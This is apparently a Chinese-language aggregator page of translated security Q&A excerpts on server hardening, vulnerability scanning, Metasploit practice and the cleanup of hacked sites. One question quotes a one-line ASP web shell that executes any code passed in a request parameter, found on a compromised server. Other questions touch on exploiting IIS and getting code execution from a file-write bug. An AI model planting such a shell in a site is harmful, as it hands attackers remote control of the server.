我知道CloudFlare可以保护您的应用程序免受SQL和XSS注入等攻击。但是操作系统和web服务器呢？
例如，如果我的网站托管在IIS/Windows上，CloudFlare是否也可以保护我的服务器免受操作系统漏洞和/或IIS漏洞的攻击？
浏览 2提问于2015-12-29得票数 0
1回答
我正在为我的学士学位写论文。我正在尝试创建一个框架，使启动整个虚拟基础设施成为可能，然后将其用于模拟红色/蓝色团队的评估。我已经接近完成了，但我需要一些漏洞来实现我的方案之一。目前的环境包括4个工作站(windows 10)、1个域控制器(服务器2016)、1个文件服务器(server 2016核心)和一个邮件和web服务器(Linux)。
找到一些基本的漏洞相对容易，但我更愿意实现一些与现实世界的情况相一致的东西。你们中有谁对我能实现哪些漏洞有任何建议吗？
浏览 0提问于2019-03-15得票数 0
我想利用在端口80中打开的MicrosoftIIShttpd10.0服务器打开。然而，Metasploit中没有可用的漏洞，但是这站点中几乎没有漏洞。是否有可能利用这些漏洞？
浏览 0提问于2020-06-28得票数 1
我有一个专用的服务器窗口服务器2016、IIS、Sql server 2018企业版和MS SQL server数据库。我使用这个服务器来托管我的dotnet核心应用程序，我通过远程桌面管理这个服务器。托管网站在服务器上安装了SSl证书。我想知道我应该应用的最佳实践是什么，以确保我的服务器以及我的托管web应用程序及其连接的SQL数据库的完全安全。此外，我还想知道是否有可信的工具可以测量我的服务器、web应用程序和SQL数据库的安全级别。
提前感谢
浏览 0提问于2020-02-04得票数 1
是否有可能不在服务器上安装新程序并避免任何熔毁/幽灵漏洞，因为这只是一个新发现的问题。
我有一个运行固定数据库负载的SLES服务器。它是一个英特尔Xeon的AWS (hvm) VPC在一个私人子网。回顾一下，自从该服务器一年多前启动以来，没有任何新的程序二进制文件或进程被添加到该服务器中。但是我们已经定期使用推荐的OS/DBMS补丁(这显然带来了新代码)。
根据我到目前为止所读到的，数据库类型的工作负载将受到修复带来的巨大性能影响。它已经在高峰时间以60%-80%的cpu运行，而且还在增长，所以我希望在2-3个月内升级到一个更大的服务器。
在这种情况下，跳过修复程序有意义吗？如果是的话，这要延
浏览 0提问于2018-01-07得票数 1
回答已采纳
我惊讶地发现，法国网络安全机构允许DMZ中的SMTP中继服务器(收集从互联网接收的电子邮件)到达LAN中的电子邮件服务器。
在我看来，DMZ中的中继SMTP服务器应该将正在进行的电子邮件保存在内存中，直到LAN邮件服务器问它“嘿，您有新邮件了吗?”(就像每10秒一次)。
因此，连接是从LAN启动到DMZ的。DMZ中的SMTP服务器只回答LAN服务器。
我在这里阅读了一些主题，发现这通常被认为是“无DMZ到LAN流”的一个可以容忍的例外。
我知道只有一个流，从DMZ到局域网中的一个资产，在一个TCP端口上是一个低风险。但是，为什么不干脆避开它，让内部邮件服务器定期从DMZ中继中提取收到的电子邮
浏览 0提问于2022-10-21得票数 1
回答已采纳
我刚刚接到通知，在我运行的站点上有一个远程代码执行漏洞和一个xss漏洞。我已经修复了负责任的代码，但是我想知道之后应该采取哪些步骤来：
确保服务器是安全的
确保没有数据被泄露
确保没有上传恶意文件。
远程代码执行漏洞特别糟糕，允许在服务器上运行任何PHP代码并向用户显示输出。
该应用程序托管在上。在新实例上重新部署会有帮助吗？
浏览 0提问于2018-10-30得票数 1
假设我有一个网站，http://www.mostlysecuresite.com，它运行在我家的服务器上。假设我想在几周内获得SSL证书。因此，我在路由器上转发了端口443到我的服务器，防火墙也为它打开了。从理论上讲，攻击者会通过这个开放端口来伤害我的服务器吗？
只是想知道。
浏览 0提问于2018-11-27得票数 2
我不知怎么地注意到，有许多关于vsftpd 2.0.1~2.0.5的安全漏洞的报告；然而，似乎没有公开的漏洞。
我正在工作的服务器有vsftpd 2.0.5 (由我的主管兼管理员设置)，我只是担心有人可能会攻击服务器.
如果有任何已知的利用，谁能向我提供已知的链接到公共利用？(这样我就可以做一些脆弱性评估。)
浏览 0提问于2012-08-03得票数 4
我管理一个公共服务器，它每天接收来自不同来源的大约100次csh冲击。它是一个HTTP方法，它请求/cgi/authLogin.cgi URI。
知道我的服务器中不存在所请求的URI，从internet接收很多攻击尝试是否正常？这是否意味着我的服务器被破坏了？
编辑
有网络审计经验的人能告诉我从互联网收到这么多的攻击是否正常吗？
浏览 0提问于2014-12-31得票数 3
2回答
如何从漏洞扫描或供应商发布的漏洞中手动验证漏洞？
假设你收到了一份高漏洞的报告。漏洞扫描器使用标头的版本检查。如果没有针对此漏洞的公开攻击，如果无法在内部访问服务器，如何检查它？一个例子是CVE-2019-13917，我似乎找不到一个公共漏洞扔到服务器上来验证漏洞，我的最后一个资源是将它发送给负责的it团队。这是正确的方法吗？-如果没有公开的利用，唯一的办法是通过反向工程从供应商那里获得补丁来创造你自己的漏洞.
Shodan漏洞扫描器给了我一份报告，它似乎在做版本检查，我需要验证这些漏洞是否真的是一个问题。
我知道版本检查很容易出现大量的假阳性，有什么办法可以避免吗？
浏览 0提问于2021-05-27得票数 1
我正在努力学习安全性和渗透测试。到目前为止，我已经学会了如何使用Metasploit (MSFconsole)和nmap (db_nmap)。
我正在使用两个am，一个与Kali和第二个与Debian服务器。
在服务器上运行nmap之后，我得到了以下结果：
📷
因此，我试图为这些服务找到一个漏洞，但没有结果。我在辅助/扫描器文件夹中搜索，也在利用文件夹中搜索，但一无所获。我在CVEdetails中搜索了这些公开的HTTP服务，并找到了这。
HTTP服务存在许多漏洞，因此我的问题是：
如何利用此服务，如何选择要使用的特定漏洞和有效负载？
你建议如何继续进行渗透测试？
浏览 0提问于2017-08-13得票数 3
回答已采纳
1回答
最近有很多关于黑客网站的帖子，攻击者在这些网站上获得了服务器的控制权。因此，这些服务器应该被视为完全受损。
通常情况下，您在不知情的情况下使用服务器，直到发现黑客。有时，您必须连接到受损的服务器才能进行调查。
从另一台计算机使用处于其受损状态的服务器可能存在哪些风险？
我的意思是从访问托管在服务器上的站点上的受损网页到从另一台机器直接进入服务器的SSH‘’ing。哪些恶意操作可以针对访问受损服务器的远程计算机运行，或者可以使用哪些潜在的敏感信息来帮助攻击者然后接管远程计算机？(例如RSA密钥，或利用活动SSH会话)
浏览 0提问于2016-02-29得票数 1
1回答
我有一个Glassfish 4.1.1服务器，有一个用MCafee漏洞管理器进行的漏洞扫描，发现服务器在管理服务器(端口4848)上有泄漏漏洞FID 10109 (端口4848)我搜索并且只找到目录横向漏洞的解决方案，有谁解决了这个漏洞？
浏览 8提问于2017-03-15得票数 2
回答已采纳
2回答
对于我的项目，我使用了一个包，Seriate。
npm install seriate
但是，运行它会得到以下结果：
发现17个漏洞(9个低、1个中等、7个高)
我运行了npm audit和npm audit fix，但什么也没有。我还研究了依赖项，Lodash似乎有一个安全问题(据推测固定在4.17.11)。
我怎么才能修好这些？我已经尝试过像这样更新npm install lodash@4.17.11：然而，这也不起作用。
另外，这是否需要担心，它是从本地服务器上运行的，而本地服务器本身是安全的？
谢谢你的帮助
浏览 2提问于2019-07-03得票数 4
回答已采纳
今天，我发现我的网站感染了木马:JS/BlacoleRef.BV，服务器是一个来自托管公司的共享服务器。
这样的特洛伊木马是如何在get服务器上运行的？
浏览 0提问于2012-07-13得票数 5
回答已采纳
1回答
我是exchange服务器和powershell的初学者，我正在开发Exchange服务器(在前提下)，如何确定我是否有最新的更新、安全更新、windows服务器(核心)和exchange服务器的版本，所以我必须更新它？( powershell)。
提前感谢
浏览 0提问于2021-09-19得票数 -3
回答已采纳
1回答
目标计算机是Windows7，目标应用程序是IE8.我使用的是诸如 is 12-063、ms13-038等“IE8，W7目标”兼容的漏洞。
但是每次我连接到metasploit使用上述任何一个漏洞创建的服务器时，IE-8就会崩溃，同时显示典型的对话框“Internet已停止工作.”。Meterpreter会议永远不会开始。IE-8在从服务器加载HTML文件时崩溃。我使用的有效载荷是windows/meterpreter/reverse。有什么问题吗？
如果有必要的话，我不需要:目标系统(W7)和攻击者(Linux)都是来宾系统。主机是windows-8。我正在使用virtualbox运行主机系
浏览 2提问于2015-01-29得票数 2
1回答
我正在一个运行在Ubuntu服务器的Apache上的PHP网站上。
我发现了一个漏洞，允许我将文件写入目标系统。我知道将php shell写入HTTP根目录并以这种方式获取RCE是可能的，但在我的例子中，这似乎是不可能的。web服务器是以www-data用户的身份运行的，该用户没有在HTTP根目录中任何位置写入的权限。我只成功地将文件写入/tmp/和/dev/shm/。
有什么技术可以帮助我从这个漏洞中获得RCE吗？或者这是我唯一能做的了？
浏览 0提问于2019-10-01得票数 2
回答已采纳
1回答
用维基百科编写的是：
安全性:代理服务器是一个额外的防御层，可以防止某些OS和Web特定的攻击。然而，它并没有为针对web应用程序或服务本身的攻击提供任何保护，而web应用程序或服务本身通常被认为是更大的威胁。
操作系统和Web服务器特定的攻击是什么意思？
浏览 0提问于2014-01-10得票数 1
2回答
媒体和一些有安全意识的邮件列表报道说，一些支持IPMI的服务器、实现和品牌面临严重的安全问题。
当您转到专用服务器提供程序租用具有IPMI的预先配置的非托管服务器(无论是否启用它供您使用)时，从安全性的角度来看，需要寻找的东西是什么？
浏览 0提问于2013-12-01得票数 1
1回答
安全代码审查
、、、
对于由无法修补的遗留服务器版本承载的应用程序，定期以安全为中心的应用程序代码评审是否能够防止应用程序潜在的可利用漏洞？应用程序安全代码检查可以替换非可修补服务器吗？假设与应用程序中的敏感数据相关的代码。代码评审不能替换、修补或解决所有漏洞，但它可以减少一些由糟糕的编码实践造成的风险。如果遗留服务器不是可修补的，那么以安全为中心的代码评审是否至少可以解决一些源于糟糕的编码实践的漏洞呢？
浏览 0提问于2016-08-30得票数 1
我在node.js上设置了一个http服务器，它监听端口80。但是，少于1024的端口通常需要提升权限。因此，我不得不使用sudo执行服务器：
sudo nodejs httpserver.js
人们说，以根用户身份运行服务器是一个大的、不，不，，我应该使用1024以上的其他端口，然后将它们重定向到80，这样我就不必是root用户来执行脚本了。但是为什么呢？什么是安全漏洞，是什么问题？
浏览 7提问于2013-10-21得票数 1
回答已采纳
我最近安装了一个威泽凸轮，一个品牌的Wi安全摄像头，我很好奇它是如何(在)安全。我听说怀兹公司的服务器曾经被攻破过一次。攻击者有多容易进入我的帐户？另外，如果攻击者连接到同一个Wi网络，他能直接拦截这些图像吗?还是在摄像头和威泽公司的服务器之间加密？
浏览 0提问于2022-04-22得票数 0
回答已采纳
1回答
我的一个客户在谷歌搜索结果中注意到一条消息，说他们的网站可能被黑客入侵了。经过一番挖掘，我在服务器上找到了包含seo垃圾和javascript引用的html文件。我删除了这些文件，更改了cms密码，更新了一些组件，如CKFinder等。
然后，我开始查看服务器上的其他站点，发现了大量包含以下代码的.asp文件
<%If Request("cmp")<>"" Then Execute(Request("cmp"))%>nofoundfile
我已经删除了它们，但不知道它们是如何出现的。我已经查看了各种日志(事件查看器、网站、
浏览 2提问于2013-10-08得票数 1
通过HTTP后端响应泄露内存。
如何解决生产服务器中的此漏洞扫描问题。
浏览 7提问于2015-07-24得票数 1
回答已采纳
在哪里或者怎样才能找到一个没有补丁的操作系统的安全漏洞列表呢？我想确定我可以告诉服务器所有者在过时的操作系统上的实际风险。我可以得到所有CVEs的列表，但是我无法筛选补丁状态。
浏览 0提问于2016-06-30得票数 3
回答已采纳
我已经下载了我的网站/数据库，并在Centos 7服务器本地重新创建它。我想给它一个很好的锤击，以便找到和修复任何漏洞。有人能推荐一款能帮我完成这个功能的软件吗？开源就太棒了！
浏览 0提问于2016-09-27得票数 -5
据我所知，成功利用漏洞需要连接到外部服务器才能下载有效负载。如果设备无法修补或以其他方式减轻，限制其出站访问是否会阻止成功的攻击？
假设这是一种有效的技术，那么哪些TCP/UDP端口应该被阻塞？
浏览 0提问于2021-12-14得票数 2
回答已采纳
4回答
假设Network /IDS可以检测到漏洞，但是应用服务器本身仍然容易受到该漏洞的攻击。
如果我修改了利用的代码，是否还有IPS/IDS仍然会检测到这种攻击？
浏览 0提问于2012-07-23得票数 2
回答已采纳
好的，在我发现一个XSS漏洞后，我对一台粗俗的机器做了什么。
生成了一个reverse_tcp php有效负载，并将其保存在我的web服务器中。
使用XSS漏洞通过document.location()方法导航到我的web服务器的有效负载位置。
在我的一端，msf控制台正在侦听任何传入的连接。
一旦目标服务器重定向到我的php有效负载，我们就会得到一个meterpreter shell。但在大约5分钟后，我意识到这是我自己的机器的外壳，而不是我试图闯入的机器。
我在使用计量器和有效载荷方面是个新手。有人能帮忙吗？我知道有效负载应该上传到目标服务器，然后访问。是否可以重定向到我的web服务器而不
浏览 0提问于2016-08-20得票数 0
回答已采纳
2回答
不利用漏洞进行漏洞测试？
、、、
我在一台服务器上做了一些测试，看看它是否容易受到0天的本地攻击(该漏洞是为了使用Linux内核中的一个bug获得根权限)。除了运行该漏洞之外，还没有关于如何知道您是否易受攻击的真正信息。我这样做了，最后从数据中心那里得到了一大堆麻烦。在这种情况下，检查您的易受伤害性的最好方法是什么？人们是否可以假设，在他们被利用漏洞攻击之前，已经发布了一个修补程序(即使是在一个较硬的服务器上)？
浏览 0提问于2013-05-16得票数 5
回答已采纳
我看到很多与运行恶意小程序相关的Java CVE--但很少看到会影响JVM的服务器端组件的CVE。示例：
有没有人能用例子或来源(可能是服务器端与客户端的cve列表)来解释其中的区别？比较这两个？
浏览 1提问于2013-06-06得票数 4
回答已采纳
我的主机多个wordpress站点都遇到了安全问题。所有的网站都有不同的主题，在不同的服务器上，在不同的用户内部隔离。他们已经竞选了几个月，没有任何问题。然而，上周，他们中的一些人受到以下因素的影响：
将流量重定向到显示文件系统中奇怪/损坏文件的垃圾邮件，包括添加到.php文件(编码头)中的额外文件和内容--我们的云提供商发出了滥用警报:一家大银行联系了他们，称我们的IP地址被用来进行钓鱼攻击。服务器在PHP进程(非常高的负载、CPU和内存使用)方面运行得很高。
对此，我有：
一个月前，FilesChecked 从备份中复制了SQL和Wordpress文件，用官方的Wordpress 替换了整
浏览 6提问于2020-04-20得票数 0
2回答
我目前正在研究如何设置DNS服务器和DNS系统的所有方面。我也想研究一下安全方面的问题。我想在我的测试服务器上使用当前的DNS服务器攻击。是否有一个地方列出了当前黑客使用的攻击，以便我可以学习如何防止它们？
浏览 0提问于2011-12-05得票数 6
回答已采纳
我在互联网上看到，有几家网站公司公开了默认的web服务器主页，如Tomcat、NGNIX、Apache web服务器。我一直认为公开默认的web服务器页面并不是最好的做法。但是现在大多数的网络服务器都避免了主页中的任何敏感信息。那么，目前，在互联网上公开默认的web服务器页面有什么问题吗？
浏览 0提问于2018-09-20得票数 0
1回答
我有一个SQL 2000数据库服务器，它不再受Microsoft的支持。我们已经应用了我们的信息安全策略，甚至PCI需求。在这种情况下，我们可能面临哪些安全风险？
我可以想到一个例子:漏洞。如果在服务器上发现新发现的漏洞，我们能修复吗？通常它们是通过新的补丁或更新来修复的，但在这种情况下，我认为微软不会提供任何补丁或更新。
浏览 0提问于2013-11-25得票数 1
数据泄漏分析和脆弱性分析之间有什么区别/关系？数据泄漏分析需要进行多大程度和什么样的漏洞测试？
我要给一些移动应用程序的数据泄漏分析报告。据我所知，当应用程序本身将重要数据发送到外部环境(例如远程服务器或日志文件(移动操作系统上的其他应用程序可以访问)或将其保存在某个不安全和易受攻击的地方时，就会发生数据泄漏。
根据我的理解，我只需要检查应用程序是如何通信和保存重要数据的。
至于漏洞和利用漏洞，因此一些恶意方可能会使用复杂而聪明的方式对应用程序进行黑客攻击，并窃取其数据。也就是说，它们既不侵入受害者的数据通信方法，也不侵入可能的存储位置(例如日志)，而是侵入应用程序的其他组件。例如，用不同的远
浏览 0提问于2015-02-26得票数 4
回答已采纳
我有一个ajax上传器，允许用户上传图片到程序，将显示回给用户。在允许文件留在服务器上之前，我要检查此文件是否有病毒。下面是它将文件发送到病毒扫描程序的代码。我希望能够看到扫描结果是否产生病毒，然后从服务器上删除它，如果它确实有病毒。
try
{
Process myProcess = new Process();
myProcess.StartInfo.FileName = @"C:\Program Files\AVG\AVG8\avgscanx.exe";
//myProcess.StartInfo.FileName=@"C:\Program
浏览 2提问于2011-08-04得票数 0
回答已采纳
我有一个RHEL6系统，我想验证该系统是否容易受到phpmailer远程代码执行漏洞的攻击。我没有设置服务器。
如何计算服务器是否易受攻击？我尝试了rpm -qa | grep php、yum list | grep php，看起来好像没有安装phpmailer。
浏览 0提问于2017-01-26得票数 2
回答已采纳
我知道服务器有一些东西可以阻止您仅仅向它们发送一个HTTP请求(实际上是恶意软件)或一个恶意的网页，因为只发送带有恶意软件的HTTP请求是非常容易的。red使用了比它更高级的东西，它使用Ns发送HTTP请求。另外，我想知道是否有些服务器没有这个补丁？
浏览 0提问于2021-02-17得票数 1
为什么安全测试人员获取服务器的副本(例如eBay服务器)并在虚拟机上测试它比在真正的eBay服务器上测试要好呢？
例如，在活动服务器上进行安全测试可能会造成损坏，并导致eBay服务不可用。(例如，SQL注入攻击可以删除eBay数据库)
为什么虚拟机要防止重大的安全风险或类似的风险？
浏览 0提问于2018-12-04得票数 0
虽然微软的一些服务器在Linux上运行，但至少有一半在运行某种类型的Windows。我想弄清楚，由于Windows系统中有这么多未修补和未解决的漏洞，微软的网站仍然可以正常运行，而且不会经常或根本不受任何因素的影响。Windows (服务器)真的那么安全吗，所以我们甚至不需要安装任何补丁，或者微软有什么窍门？
浏览 0提问于2015-02-14得票数 -1
回答已采纳
今天(4月14日)，自封的"ShadowBrokers“发布了大量的即时使用的0天攻击，部分原因是详细的使用说明。
现在我明白了，对于那些拥有面向互联网的Windows服务器或其他类似设备的公司来说，这真的很糟糕。
但更有趣的问题是：
今天的转储是否会影响那些没有在Windows机器上主动建立面向互联网服务的普通用户？
可能有用的参考资料：
母版文章。
Ars Technica文章
浏览 0提问于2017-04-14得票数 11
1回答
阿帕奇POI是一个用于处理office文档的Java库。
与处理不受信任的文档相关的风险是什么？例如，允许用户上载使用POI处理的文档的网站。
我在文档解析中意识到的一个潜在风险是，文档可以引用本地资源，解析器可以在服务器上本地解析这一点。我想知道这是否对POI有风险。
浏览 0提问于2014-06-19得票数 2
看起来像是一个明显的“不”，但我想我还是继续问一下，看看有没有什么东西：
是否可以在脚本执行后接收文件的服务器端脚本？例如，对服务器已经处理过的PHP文件进行某种回归？
我觉得有点离题，但我希望听到一个好的答案：)
浏览 2提问于2010-12-06得票数 0
回答已采纳
1回答
我租了一个VPS，作为一个喷嚏反应(它是一个Windows服务器)，我为它准备了AV。
考虑到作为登录用户(我使用它作为web服务器)，我对它所做的事情很少，在它上安装我自己的软件，偶尔也会下载微软库之类的东西，那么AV还需要吗？
我想我的问题归结为:机器在没有人类用户参与的情况下会被感染吗?如果是的话，怎么做？还是我只需要AV来保护我的服务器不受我自己愚蠢行为的影响？
浏览 0提问于2013-04-14得票数 1
回答已采纳
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频活动推荐
腾讯云开发者
